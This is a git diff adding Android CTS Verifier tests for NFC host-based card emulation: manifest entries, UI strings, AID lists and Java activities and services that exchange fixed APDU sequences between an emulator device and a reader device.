Merge "Add a CTS test for printing" into klp-dev
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index b9f7ceb..cbd2168 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -263,6 +263,24 @@
<meta-data android:name="test_required_features" android:value="android.hardware.nfc" />
</activity>
+ <activity android:name="com.android.cts.verifier.nfc.hce.HceReaderTestActivity"
+ android:label="@string/nfc_test"
+ android:configChanges="keyboardHidden|orientation|screenSize">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.cts.intent.category.MANUAL_TEST" />
+ </intent-filter>
+ </activity>
+
+ <activity android:name="com.android.cts.verifier.nfc.hce.HceEmulatorTestActivity"
+ android:label="@string/nfc_test"
+ android:configChanges="keyboardHidden|orientation|screenSize">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.cts.intent.category.MANUAL_TEST" />
+ </intent-filter>
+ </activity>
+
<activity android:name=".nfc.NdefPushSenderActivity"
android:label="@string/nfc_ndef_push_sender"
android:configChanges="keyboardHidden|orientation|screenSize" />
@@ -274,6 +292,115 @@
<activity android:name=".nfc.TagVerifierActivity"
android:label="@string/nfc_tag_verifier"
android:configChanges="keyboardHidden|orientation|screenSize" />
+ <activity android:name=".nfc.hce.SinglePaymentEmulatorActivity"
+ android:label="@string/nfc_hce_single_payment_emulator"
+ android:configChanges="keyboardHidden|orientation|screenSize" />
+
+ <activity android:name=".nfc.hce.SimpleReaderActivity"
+ android:label="@string/nfc_hce_single_payment_reader"
+ android:configChanges="keyboardHidden|orientation|screenSize" />
+
+ <activity android:name=".nfc.hce.DualPaymentEmulatorActivity"
+ android:label="@string/nfc_hce_dual_payment_emulator"
+ android:configChanges="keyboardHidden|orientation|screenSize" />
+
+ <activity android:name=".nfc.hce.ChangeDefaultEmulatorActivity"
+ android:label="@string/nfc_hce_change_default_emulator"
+ android:configChanges="keyboardHidden|orientation|screenSize" />
+
+ <activity android:name=".nfc.hce.SingleNonPaymentEmulatorActivity"
+ android:label="@string/nfc_hce_single_non_payment_emulator"
+ android:configChanges="keyboardHidden|orientation|screenSize" />
+
+ <activity android:name=".nfc.hce.DualNonPaymentEmulatorActivity"
+ android:label="@string/nfc_hce_dual_non_payment_emulator"
+ android:configChanges="keyboardHidden|orientation|screenSize" />
+
+ <activity android:name=".nfc.hce.ConflictingNonPaymentEmulatorActivity"
+ android:label="@string/nfc_hce_conflicting_non_payment_emulator"
+ android:configChanges="keyboardHidden|orientation|screenSize" />
+
+ <activity android:name=".nfc.hce.OffHostEmulatorActivity"
+ android:label="@string/nfc_hce_offhost_service_emulator"
+ android:configChanges="keyboardHidden|orientation|screenSize" />
+
+ <activity android:name=".nfc.hce.OnAndOffHostEmulatorActivity"
+ android:label="@string/nfc_hce_on_and_offhost_service_emulator"
+ android:configChanges="keyboardHidden|orientation|screenSize" />
+
+ <activity android:name=".nfc.hce.ThroughputEmulatorActivity"
+ android:label="@string/nfc_hce_throughput_emulator"
+ android:configChanges="keyboardHidden|orientation|screenSize" />
+
+ <activity android:name=".nfc.hce.TapTestEmulatorActivity"
+ android:label="@string/nfc_hce_tap_test_emulator"
+ android:configChanges="keyboardHidden|orientation|screenSize" />
+
+ <!-- services used for testing NFC host-based card emulation -->
+ <service android:name=".nfc.hce.PaymentService1" android:exported="true"
+ android:permission="android.permission.BIND_NFC_SERVICE"
+ android:enabled="false">
+ <intent-filter>
+ <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ <meta-data android:name="android.nfc.cardemulation.host_apdu_service" android:resource="@xml/payment_aid_list_1"/>
+ </service>
+ <service android:name=".nfc.hce.PaymentService2" android:exported="true"
+ android:permission="android.permission.BIND_NFC_SERVICE"
+ android:enabled="false">
+ <intent-filter>
+ <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ <meta-data android:name="android.nfc.cardemulation.host_apdu_service" android:resource="@xml/payment_aid_list_2"/>
+ </service>
+ <service android:name=".nfc.hce.TransportService1" android:exported="true"
+ android:permission="android.permission.BIND_NFC_SERVICE"
+ android:enabled="false">
+ <intent-filter>
+ <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ <meta-data android:name="android.nfc.cardemulation.host_apdu_service" android:resource="@xml/transport_aid_list_1"/>
+ </service>
+ <service android:name=".nfc.hce.TransportService2" android:exported="true"
+ android:permission="android.permission.BIND_NFC_SERVICE"
+ android:enabled="false">
+ <intent-filter>
+ <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ <meta-data android:name="android.nfc.cardemulation.host_apdu_service" android:resource="@xml/transport_aid_list_2"/>
+ </service>
+ <service android:name=".nfc.hce.AccessService" android:exported="true"
+ android:permission="android.permission.BIND_NFC_SERVICE"
+ android:enabled="false">
+ <intent-filter>
+ <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ <meta-data android:name="android.nfc.cardemulation.host_apdu_service" android:resource="@xml/access_aid_list"/>
+ </service>
+ <service android:name=".nfc.hce.ThroughputService" android:exported="true"
+ android:permission="android.permission.BIND_NFC_SERVICE"
+ android:enabled="false">
+ <intent-filter>
+ <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ <meta-data android:name="android.nfc.cardemulation.host_apdu_service" android:resource="@xml/throughput_aid_list"/>
+ </service>
+
+ <service android:name=".nfc.hce.OffHostService" android:exported="true"
+ android:permission="android.permission.BIND_NFC_SERVICE"
+ android:enabled="false">
+ <intent-filter>
+ <action android:name="android.nfc.cardemulation.action.OFF_HOST_APDU_SERVICE"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ <meta-data android:name="android.nfc.cardemulation.off_host_apdu_service" android:resource="@xml/offhost_aid_list"/>
+ </service>
<activity android:name=".sensors.AccelerometerTestActivity" android:label="@string/snsr_accel_test"
android:screenOrientation="nosensor">
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 6df4b42..5e0c3a9 100644
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -206,6 +206,8 @@
known to be compatible.\n\nThe Tag Verification tests check that your
device can properly read and write to tags of different technologies. The MIFARE
Ultralight test is only applicable for devices that support it.
+ \n\nThe Host-based card emulation tests check that your device has properly implemented
+ host-based card emulation.
</string>
<string name="nfc_not_enabled">NFC is not enabled!</string>
@@ -264,6 +266,75 @@
<string name="nfc_result_message">Written data:\n%1$s\n\nRead data:\n%2$s</string>
<string name="nfc_ndef_content">Id: %1$s\nMime: %2$s\nPayload: %3$s</string>
+ <string name="nfc_hce">Host-based card emulation</string>
+ <string name="nfc_hce_default">Default route</string>
+ <string name="nfc_hce_reader_tests">HCE reader tests</string>
+ <string name="nfc_hce_emulator_tests">HCE emulator tests</string>
+ <string name="nfc_hce_emulator_test_info">The host-based card emulation
+ tests require two devices to be completed. The HCE emulator tests are used
+ to actually test the host-based card emulation feature of the device-under-test. So the
+ device running the emulator tests must be the candidate device running the software
+ to be tested. \n\nFor each emulator test, there is a corresponding "reader test"
+ in the "HCE reader tests" section. The "reader test" acts as a NFC terminal/POS
+ and makes sure the device-under-test implements card emulation correctly.
+ </string>
+ <string name="nfc_hce_reader_test_info">The host-based card emulation
+ tests require two devices to be completed. The HCE emulator tests are used
+ to actually test the host-based card emulation feature of the device-under-test. So the
+ device running the emulator tests must be the candidate device running the software
+ to be tested. \n\nFor each emulator test, there is a corresponding "reader test"
+ in the "HCE reader tests" section. The "reader test" acts as a NFC terminal/POS
+ and makes sure the device-under-test implements card emulation correctly.
+ </string>
+ <string name="nfc_hce_please_wait">Please wait</string>
+ <string name="nfc_hce_setting_up">Setting up card emulation services...</string>
+ <string name="nfc_hce_single_payment_emulator">Single payment (Emulator)</string>
+ <string name="nfc_hce_single_payment_reader">Single payment (Reader)</string>
+
+ <string name="nfc_hce_dual_payment_emulator">Two payment services (Emulator)</string>
+ <string name="nfc_hce_dual_payment_reader">Two payment services (Reader)</string>
+
+ <string name="nfc_hce_change_default_emulator">Change default payment service (Emulator)</string>
+ <string name="nfc_hce_change_default_reader">Change default payment service (Reader)</string>
+
+ <string name="nfc_hce_tap_reader_title">Tap reader</string>
+ <string name="nfc_hce_tap_reader_message">Select the corresponding reader test on the remote device, click OK on this dialog, and tap devices together. The pass button will be enabled if the test passes.</string>
+
+ <string name="nfc_hce_single_non_payment_emulator">Single non-payment (Emulator)</string>
+ <string name="nfc_hce_single_non_payment_reader">Single non-payment (Reader)</string>
+
+ <string name="nfc_hce_dual_non_payment_emulator">Two non-payment services (Emulator)</string>
+ <string name="nfc_hce_dual_non_payment_reader">Two non-payment services (Reader)</string>
+
+ <string name="nfc_hce_conflicting_non_payment_emulator">Two conflicting non-payment services (Emulator)</string>
+ <string name="nfc_hce_conflicting_non_payment_reader">Two conflicting non-payment services (Reader)</string>
+
+ <string name="nfc_hce_offhost_service_emulator">Off-host service (Emulator)</string>
+ <string name="nfc_hce_offhost_service_reader">Off-host service (Reader)</string>
+ <string name="nfc_hce_offhost_emulator_help">This tests enables a service that declares some AIDs to reside off-host. This test only needs to be passed if your device has a secure element (either embedded or UICC.). The responses from the secure element are not verified by the test - it is up to the tester to verify the responses are as expected.</string>
+
+ <string name="nfc_hce_on_and_offhost_service_emulator">On and off-host services (Emulator)</string>
+ <string name="nfc_hce_on_and_offhost_service_reader">On and off-host services (Reader)</string>
+ <string name="nfc_hce_on_and_offhost_emulator_help">This tests enables a service that declares some AIDs to reside off-host, and another service that runs on host. It then first sends an APDU sequence that goes off-host, and subsequently some APDUs that should go to the on-host service. This test only needs to be passed if your device has a secure element (either embedded or UICC.). The pass button will be enabled if the on-host sequence is performed as expected. The responses from the secure element are not verified by the test - it is up to the tester to verify the responses are as expected. </string>
+
+ <string name="nfc_hce_tap_test_emulator">50 successful taps test (Emulator)</string>
+ <string name="nfc_hce_tap_test_reader">50 successful taps test (Reader)</string>
+ <string name="nfc_hce_tap_test_emulator_help">This test requires you to complete at least 50 HCE taps, to ensure stability of the HCE feature. The NFC service and controller should not crash or hang during any of the 50 taps.</string>
+ <string name="nfc_hce_throughput_emulator">HCE throughput test (Emulator)</string>
+ <string name="nfc_hce_throughput_reader">HCE throughput test (Reader)</string>
+ <string name="nfc_hce_throughput_emulator_help">This tests verifies that your HCE implementation can reach a decent throughput. While Android does not have any requirements on HCE performance, many HCE applications such as transport and payment apps do. If the average APDU roundtrip time is more than 50ms, please take a look at your implementation to see where the delay is coming from.</string>
+ <string name="nfc_hce_change_default_help">You will now be asked whether you want to make Payment Service #1 the default app. Select yes.</string>
+ <string name="nfc_hce_conflicting_non_payment_help">When tapping the first time, you will be shown a dialog that asks you to choose between TransportService #1 and TransportService #2. Select TransportService #2. Verify a dialog is shown that asks you to tap again to complete. Now tap again, and if communication with TransportService #2 is successfull the pass button will be enabled."</string>
+ <string name="nfc_payment_service_desc">NFC Payment service</string>
+ <string name="ppse">PPSE</string>
+ <string name="mastercard">MasterCard</string>
+ <string name="paymentService1">Payment Service #1</string>
+ <string name="paymentService2">Payment Service #2</string>
+ <string name="transportService1">TransportService #1</string>
+ <string name="transportService2">TransportService #2</string>
+ <string name="accessService">AccessService</string>
+ <string name="offhostService">OffhostService</string>
+
<!-- Strings for AccelerometerTestActivity and GyroscopeTestActivity -->
<string name="snsr_accel_test">Accelerometer Test</string>
<string name="snsr_accel_test_info">This test verifies that the accelerometer is working properly. As you move the device around through space, the triangle should always point down (i.e. in the direction of gravity.) If it does not, the accelerometer is improperly configured.</string>
diff --git a/apps/CtsVerifier/res/xml/access_aid_list.xml b/apps/CtsVerifier/res/xml/access_aid_list.xml
new file mode 100644
index 0000000..1303f13
--- /dev/null
+++ b/apps/CtsVerifier/res/xml/access_aid_list.xml
@@ -0,0 +1,6 @@
+<host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
+ android:description="@string/transportService1">
+ <aid-group>
+ <aid-filter android:name="F005060708"/>
+ </aid-group>
+</host-apdu-service>
diff --git a/apps/CtsVerifier/res/xml/offhost_aid_list.xml b/apps/CtsVerifier/res/xml/offhost_aid_list.xml
new file mode 100644
index 0000000..524e54d
--- /dev/null
+++ b/apps/CtsVerifier/res/xml/offhost_aid_list.xml
@@ -0,0 +1,9 @@
+<offhost-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
+ android:description="@string/offhostService">
+ <aid-group>
+ <!-- OBTH card manager AID -->
+ <aid-filter android:name="A000000151000000"/>
+ <!-- NXP card manager AID -->
+ <aid-filter android:name="A000000003000000"/>
+ </aid-group>
+</offhost-apdu-service>
diff --git a/apps/CtsVerifier/res/xml/payment_aid_list_1.xml b/apps/CtsVerifier/res/xml/payment_aid_list_1.xml
new file mode 100644
index 0000000..2036402
--- /dev/null
+++ b/apps/CtsVerifier/res/xml/payment_aid_list_1.xml
@@ -0,0 +1,9 @@
+<host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
+ android:description="@string/paymentService1">
+ <aid-group android:description="@string/paymentService1" android:category="payment">
+ <aid-filter android:name="325041592E5359532E4444463031"
+ android:description="@string/ppse"/>
+ <aid-filter android:name="A0000000041010"
+ android:description="@string/mastercard"/>
+ </aid-group>
+</host-apdu-service>
diff --git a/apps/CtsVerifier/res/xml/payment_aid_list_2.xml b/apps/CtsVerifier/res/xml/payment_aid_list_2.xml
new file mode 100644
index 0000000..36a5af0
--- /dev/null
+++ b/apps/CtsVerifier/res/xml/payment_aid_list_2.xml
@@ -0,0 +1,9 @@
+<host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
+ android:description="@string/paymentService2">
+ <aid-group android:description="@string/paymentService2" android:category="payment">
+ <aid-filter android:name="325041592E5359532E4444463031"
+ android:description="@string/ppse"/>
+ <aid-filter android:name="A0000000041010"
+ android:description="@string/mastercard"/>
+ </aid-group>
+</host-apdu-service>
diff --git a/apps/CtsVerifier/res/xml/throughput_aid_list.xml b/apps/CtsVerifier/res/xml/throughput_aid_list.xml
new file mode 100644
index 0000000..7f49eb3
--- /dev/null
+++ b/apps/CtsVerifier/res/xml/throughput_aid_list.xml
@@ -0,0 +1,6 @@
+<host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
+ android:description="@string/transportService1">
+ <aid-group>
+ <aid-filter android:name="F0010203040607FF"/>
+ </aid-group>
+</host-apdu-service>
diff --git a/apps/CtsVerifier/res/xml/transport_aid_list_1.xml b/apps/CtsVerifier/res/xml/transport_aid_list_1.xml
new file mode 100644
index 0000000..9396391
--- /dev/null
+++ b/apps/CtsVerifier/res/xml/transport_aid_list_1.xml
@@ -0,0 +1,6 @@
+<host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
+ android:description="@string/transportService1">
+ <aid-group>
+ <aid-filter android:name="F001020304"/>
+ </aid-group>
+</host-apdu-service>
diff --git a/apps/CtsVerifier/res/xml/transport_aid_list_2.xml b/apps/CtsVerifier/res/xml/transport_aid_list_2.xml
new file mode 100644
index 0000000..9e20ff3
--- /dev/null
+++ b/apps/CtsVerifier/res/xml/transport_aid_list_2.xml
@@ -0,0 +1,6 @@
+<host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
+ android:description="@string/transportService2">
+ <aid-group>
+ <aid-filter android:name="F001020304"/>
+ </aid-group>
+</host-apdu-service>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NfcDialogs.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NfcDialogs.java
index c78062b..40a12ae 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NfcDialogs.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NfcDialogs.java
@@ -25,7 +25,7 @@
import android.provider.Settings;
/** Class containing methods to create common dialogs for NFC activities. */
-class NfcDialogs {
+public class NfcDialogs {
static AlertDialog createNotEnabledDialog(final Context context) {
return new AlertDialog.Builder(context)
@@ -57,6 +57,15 @@
.create();
}
+ public static AlertDialog createHceTapReaderDialog(final Context context, String message) {
+ String baseString = context.getString(R.string.nfc_hce_tap_reader_message);
+ return new AlertDialog.Builder(context)
+ .setIcon(android.R.drawable.ic_dialog_alert)
+ .setTitle(R.string.nfc_hce_tap_reader_title)
+ .setMessage(message != null ? message + "\n\n" + baseString : baseString)
+ .setPositiveButton("OK", null)
+ .create();
+ }
private NfcDialogs() {
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NfcTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NfcTestActivity.java
index b158ad3..cb90241 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NfcTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NfcTestActivity.java
@@ -20,6 +20,8 @@
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
import com.android.cts.verifier.TestListAdapter.TestListItem;
+import com.android.cts.verifier.nfc.hce.HceEmulatorTestActivity;
+import com.android.cts.verifier.nfc.hce.HceReaderTestActivity;
import android.content.Intent;
import android.content.pm.PackageManager;
@@ -64,6 +66,16 @@
MIFARE_ULTRALIGHT_ID, getTagIntent(MifareUltralight.class), null));
}
+ if (getPackageManager().hasSystemFeature(PackageManager.FEATURE_NFC_HOST_CARD_EMULATION)) {
+ adapter.add(TestListItem.newCategory(this, R.string.nfc_hce));
+ adapter.add(TestListItem.newTest(this, R.string.nfc_hce_reader_tests,
+ HceReaderTestActivity.class.getName(),
+ new Intent(this, HceReaderTestActivity.class), null));
+ adapter.add(TestListItem.newTest(this, R.string.nfc_hce_emulator_tests,
+ HceEmulatorTestActivity.class.getName(),
+ new Intent(this, HceEmulatorTestActivity.class), null));
+ }
+
setTestListAdapter(adapter);
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/AccessService.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/AccessService.java
new file mode 100644
index 0000000..969f621
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/AccessService.java
@@ -0,0 +1,28 @@
+package com.android.cts.verifier.nfc.hce;
+
+import android.content.ComponentName;
+
+public class AccessService extends HceService {
+ static final ComponentName COMPONENT =
+ new ComponentName("com.android.cts.verifier",
+ AccessService.class.getName());
+
+ public static final String[] APDU_COMMAND_SEQUENCE = {
+ HceUtils.buildSelectApdu(HceUtils.ACCESS_AID),
+ "80CA01F000"
+ };
+
+ public static final String[] APDU_RESPOND_SEQUENCE = {
+ "123456789000",
+ "1481148114819000"
+ };
+
+ public AccessService() {
+ initialize(APDU_COMMAND_SEQUENCE, APDU_RESPOND_SEQUENCE);
+ }
+
+ @Override
+ public ComponentName getComponent() {
+ return COMPONENT;
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/BaseEmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/BaseEmulatorActivity.java
new file mode 100644
index 0000000..bcd2b8d
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/BaseEmulatorActivity.java
@@ -0,0 +1,131 @@
+package com.android.cts.verifier.nfc.hce;
+
+import android.annotation.TargetApi;
+import android.app.ProgressDialog;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.nfc.NfcAdapter;
+import android.nfc.cardemulation.CardEmulation;
+import android.os.AsyncTask;
+import android.os.Bundle;
+import android.util.Log;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.nfc.hce.PaymentService1;
+
+@TargetApi(19)
+public abstract class BaseEmulatorActivity extends PassFailButtons.Activity {
+ static final String TAG = "BaseEmulatorActivity";
+ NfcAdapter mAdapter;
+ CardEmulation mCardEmulation;
+ ProgressDialog mSetupDialog;
+
+ final ArrayList<ComponentName> SERVICES = new ArrayList<ComponentName>(
+ Arrays.asList(
+ PaymentService1.COMPONENT,
+ PaymentService2.COMPONENT,
+ TransportService1.COMPONENT,
+ TransportService2.COMPONENT,
+ AccessService.COMPONENT,
+ ThroughputService.COMPONENT,
+ OffHostService.COMPONENT)
+ );
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ mAdapter = NfcAdapter.getDefaultAdapter(this);
+ mCardEmulation = CardEmulation.getInstance(mAdapter);
+ }
+
+ abstract void onServicesSetup(boolean result);
+
+ abstract void onApduSequenceComplete(ComponentName component, long duration);
+
+ void onApduSequenceError() {
+
+ }
+
+ @Override
+ protected void onPause() {
+ super.onPause();
+ unregisterReceiver(mReceiver);
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ IntentFilter filter = new IntentFilter(HceUtils.ACTION_APDU_SEQUENCE_COMPLETE);
+ registerReceiver(mReceiver, filter);
+ }
+
+ final void setupServices(Context context, ComponentName... components) {
+ mSetupDialog = new ProgressDialog(context);
+ new SetupServicesTask().execute(components);
+ }
+
+ final BroadcastReceiver mReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ String action = intent.getAction();
+ if (HceUtils.ACTION_APDU_SEQUENCE_COMPLETE.equals(action)) {
+ // Get component whose sequence was completed
+ ComponentName component = intent.getParcelableExtra(HceUtils.EXTRA_COMPONENT);
+ long duration = intent.getLongExtra(HceUtils.EXTRA_DURATION, 0);
+ if (component != null) {
+ onApduSequenceComplete(component, duration);
+ }
+ } else if (HceUtils.ACTION_APDU_SEQUENCE_ERROR.equals(action)) {
+ onApduSequenceError();
+ }
+ }
+ };
+
+ private class SetupServicesTask extends AsyncTask<ComponentName, Void, Boolean> {
+ @Override
+ protected void onPostExecute(Boolean result) {
+ super.onPostExecute(result);
+ mSetupDialog.dismiss();
+ onServicesSetup(result);
+ }
+
+ @Override
+ protected void onPreExecute() {
+ super.onPreExecute();
+ mSetupDialog.setTitle(R.string.nfc_hce_please_wait);
+ mSetupDialog.setMessage(getString(R.string.nfc_hce_setting_up));
+ mSetupDialog.setCancelable(false);
+ mSetupDialog.show();
+ }
+
+ @Override
+ protected Boolean doInBackground(ComponentName... components) {
+ List<ComponentName> enableComponents = Arrays.asList(components);
+ for (ComponentName component : SERVICES) {
+ if (enableComponents.contains(component)) {
+ Log.d(TAG, "Enabling component " + component);
+ HceUtils.enableComponent(getPackageManager(), component);
+ } else {
+ Log.d(TAG, "Disabling component " + component);
+ HceUtils.disableComponent(getPackageManager(), component);
+ }
+ }
+ // This is a trick to invalidate the HCE cache and avoid
+ // having to wait for PackageManager broadcasts to NFCService.
+ ComponentName bogusComponent = new ComponentName("com.android.cts.verifier",
+ "com.android.cts.verifier.nfc.hce.BogusService");
+ mCardEmulation.isDefaultServiceForCategory(bogusComponent,
+ CardEmulation.CATEGORY_PAYMENT);
+ return true;
+ }
+ };
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/ChangeDefaultEmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/ChangeDefaultEmulatorActivity.java
new file mode 100644
index 0000000..f5584ec
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/ChangeDefaultEmulatorActivity.java
@@ -0,0 +1,109 @@
+package com.android.cts.verifier.nfc.hce;
+
+import android.annotation.TargetApi;
+import android.app.AlertDialog;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.DialogInterface;
+import android.content.DialogInterface.OnClickListener;
+import android.content.Intent;
+import android.nfc.cardemulation.CardEmulation;
+import android.os.Bundle;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.nfc.NfcDialogs;
+
+@TargetApi(19)
+public class ChangeDefaultEmulatorActivity extends BaseEmulatorActivity implements OnClickListener {
+ final static int STATE_IDLE = 0;
+ final static int STATE_SERVICE1_SETTING_UP = 1;
+ final static int STATE_SERVICE2_SETTING_UP = 2;
+ final static int STATE_DEFAULT_CHANGED = 3;
+
+ boolean mReceiverRegistered = false;
+ int mState = STATE_IDLE;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.pass_fail_text);
+ setPassFailButtonClickListeners();
+ getPassButton().setEnabled(false);
+
+ mState = STATE_SERVICE2_SETTING_UP;
+ setupServices(this, PaymentService2.COMPONENT);
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ }
+
+ @Override
+ void onServicesSetup(boolean result) {
+ if (mState == STATE_SERVICE2_SETTING_UP) {
+ mState = STATE_SERVICE1_SETTING_UP;
+ setupServices(this, PaymentService1.COMPONENT, PaymentService2.COMPONENT);
+ return;
+ }
+ // Verify HCE service 2 is the default
+ if (!mCardEmulation.isDefaultServiceForCategory(
+ PaymentService2.COMPONENT, CardEmulation.CATEGORY_PAYMENT)) {
+ // Popup dialog-box, fail test
+ AlertDialog.Builder builder = new AlertDialog.Builder(this);
+ builder.setTitle("Test failed.");
+ builder.setMessage("PaymentService2 is not the default service according " +
+ "to CardEmulation.getDefaultServiceForCategory(). Do you have" +
+ "another Payment application installed?");
+ builder.setPositiveButton("OK", null);
+ builder.show();
+ } else {
+ AlertDialog.Builder builder = new AlertDialog.Builder(this);
+ builder.setTitle("Note");
+ builder.setMessage(R.string.nfc_hce_change_default_help);
+ builder.setPositiveButton("OK", this);
+ builder.show();
+ }
+ }
+
+ @Override
+ protected void onPause() {
+ super.onPause();
+ if (mReceiverRegistered) {
+ unregisterReceiver(mReceiver);
+ }
+ }
+
+ public static Intent buildReaderIntent(Context context) {
+ Intent readerIntent = new Intent(context, SimpleReaderActivity.class);
+ readerIntent.putExtra(SimpleReaderActivity.EXTRA_APDUS,
+ PaymentService1.APDU_COMMAND_SEQUENCE);
+ readerIntent.putExtra(SimpleReaderActivity.EXTRA_RESPONSES,
+ PaymentService1.APDU_RESPOND_SEQUENCE);
+ readerIntent.putExtra(SimpleReaderActivity.EXTRA_LABEL,
+ context.getString(R.string.nfc_hce_change_default_reader));
+ return readerIntent;
+ }
+
+ @Override
+ void onApduSequenceComplete(ComponentName component, long duration) {
+ if (component.equals(PaymentService1.COMPONENT)) {
+ getPassButton().setEnabled(true);
+ }
+ }
+
+ @Override
+ public void onClick(DialogInterface dialog, int which) {
+ Intent changeDefault = new Intent(CardEmulation.ACTION_CHANGE_DEFAULT);
+ changeDefault.putExtra(CardEmulation.EXTRA_CATEGORY, CardEmulation.CATEGORY_PAYMENT);
+ changeDefault.putExtra(CardEmulation.EXTRA_SERVICE_COMPONENT, PaymentService1.COMPONENT);
+ startActivityForResult(changeDefault, 0);
+ }
+
+ @Override
+ protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+ super.onActivityResult(requestCode, resultCode, data);
+ mState = STATE_DEFAULT_CHANGED;
+ NfcDialogs.createHceTapReaderDialog(this, null).show();
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/ConflictingNonPaymentEmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/ConflictingNonPaymentEmulatorActivity.java
new file mode 100644
index 0000000..37d5207
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/ConflictingNonPaymentEmulatorActivity.java
@@ -0,0 +1,49 @@
+package com.android.cts.verifier.nfc.hce;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.nfc.NfcDialogs;
+
+public class ConflictingNonPaymentEmulatorActivity extends BaseEmulatorActivity {
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.pass_fail_text);
+ setPassFailButtonClickListeners();
+ getPassButton().setEnabled(false);
+ setupServices(this, TransportService1.COMPONENT, TransportService2.COMPONENT);
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ }
+
+ @Override
+ void onServicesSetup(boolean result) {
+ NfcDialogs.createHceTapReaderDialog(this,
+ getString(R.string.nfc_hce_conflicting_non_payment_help)).show();
+ }
+
+ public static Intent buildReaderIntent(Context context) {
+ Intent readerIntent = new Intent(context, SimpleReaderActivity.class);
+ readerIntent.putExtra(SimpleReaderActivity.EXTRA_APDUS,
+ TransportService2.APDU_COMMAND_SEQUENCE);
+ readerIntent.putExtra(SimpleReaderActivity.EXTRA_RESPONSES,
+ TransportService2.APDU_RESPOND_SEQUENCE);
+ readerIntent.putExtra(SimpleReaderActivity.EXTRA_LABEL,
+ context.getString(R.string.nfc_hce_conflicting_non_payment_reader));
+ return readerIntent;
+ }
+
+ @Override
+ void onApduSequenceComplete(ComponentName component, long duration) {
+ if (component.equals(TransportService2.COMPONENT)) {
+ getPassButton().setEnabled(true);
+ }
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/DefaultRouteActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/DefaultRouteActivity.java
new file mode 100644
index 0000000..dde77b6
--- /dev/null
